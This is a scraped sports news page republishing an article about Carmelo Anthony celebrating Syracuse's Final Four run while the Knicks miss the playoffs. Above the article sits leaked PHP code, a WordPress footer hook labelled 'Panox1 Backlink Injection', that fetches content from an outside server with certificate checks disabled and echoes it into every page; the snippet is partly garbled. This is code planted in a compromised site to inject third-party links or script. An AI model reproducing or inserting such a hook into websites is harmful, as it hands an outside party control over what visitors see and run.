// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 After 'Cuse win, Melo deals with letdown of missing playoffs – Next Sports News

After 'Cuse win, Melo deals with letdown of missing playoffs

[ad_1]

NEW ORLEANS — Carmelo Anthony’s embrace of his glorious past lasted about 30 minutes before he was smacked with the reality of his depressing present.

Not that the Knicks could ruin his glee about Syracuse. But it took a moment to recalibrate.

“To go from my team being in the Final Four to go to back to being eliminated the playoffs, it kind of messed the emotions up for a minute,” he said about New York’s mathematical concession to missing the postseason for a third straight year, a formality made official when the Pacers toppled the Rockets on Sunday night.

Anthony strolled into Monday morning shootaround with his Syracuse hat, making it known that his prediction about his alma mater – the first 10th-seed to advance to the Final Four – had held true.

“I told you,” he said before scoring 22 points in a 99-91 loss to the Pelicans. “I told you,” he said.

Then he explained why he feels such a deep connection to Syracuse, why he donated $3 million to build a practice facility after staying there only one season.  

Carmelo Anthony and the Knicks were mathematically eliminated from the playoffs Sunday.Charles Rex Arbogast/AP

Carmelo Anthony and the Knicks were mathematically eliminated from the playoffs Sunday.

CARMELO ANTHONY CELEBRATES SYRACUSE WIN ON SNAPCHAT

“I feel like I’ve done a lot for that town, not just the school, but the town as well, and they’ve done a lot for me. So for me to go there as an 18-year-old kid and for that whole university and just the whole town to embrace me the way that they did, I felt it was only right for me to give back to them,” he said. “It’s just something that’s there. It’s a connection that’s there. It’s something that will never be broken, a bond that will never be broken. Even though it’s crazy to have a bond with a university or town like Syracuse when growing up that wasn’t even your dream school or dream place to be.”

Anthony grew up a fan of St. John’s, a salivating thought for fans of the Queens school that has qualified for the NCAA Tournament only once since the turn of the millennium. But Anthony chose Jim Boeheim, led the Orange to a national title in 2003 and made a congratulatory phone call after Sunday’s upset win over top-seeded Virginia.

Another victory Saturday against North Carolina would send Syracuse to its first title since Anthony’s run. For it to happen the season Boeheim was suspended and his program forced to vacate over 100 wins would make it more special, Anthony said.

NCAA TOURNEY: FOLLOW THE MADNESS WITH OUR LIVE BRACKET

Syracuse's Michael Gbinije (0) and Syracuse's Tyler Lydon (20) celebrate with their teammates after an NCAA college basketball game in the regional finals of the NCAA Tournament, Sunday.Nam Y. Huh/AP

Syracuse’s Michael Gbinije (0) and Syracuse’s Tyler Lydon (20) celebrate with their teammates after an NCAA college basketball game in the regional finals of the NCAA Tournament, Sunday.

“I talked to them (after the win Sunday). I talked to guys. I talked to the coach. I talked to Boeheim,” Anthony said. “I’m embedded with them guys. This is not just me being a fan of Syracuse. Like I’m connected with them. Just to be able to go through that and be where they are right now knowing the long season that they had,

knowing what Boeheim had to go through, whether right or wrong or indifferent, for them to be where they are right now and kind of persevere through those times, it’s paying off for them.”

Phil Jackson’s plan isn’t go as well. With the loss to the Pelicans, the Knicks have dropped 23 of their last 31 games, a stretch that ensured the franchise is again lottery-bound without a first-round draft pick.

Anthony, who went to the playoffs in his first 10 seasons out of Syracuse, said only about a month ago that he doesn’t want to think about missing it for a third straight year.

“It hasn’t settled in yet that we’re out of the playoffs again,” Anthony said. “Maybe when the last ball drop on that last game, the last whistle is blown, that’s when it’ll sink in that another postseason is missed.”  

FOLLOW THE DAILY NEWS SPORTS ON FACEBOOK. “LIKE” US HERE.

Tags:
carmelo anthony ,
new york knicks ,
syracuse orange ,
nba ,
college basketball ,
march madness

[ad_2]

Source link

Reply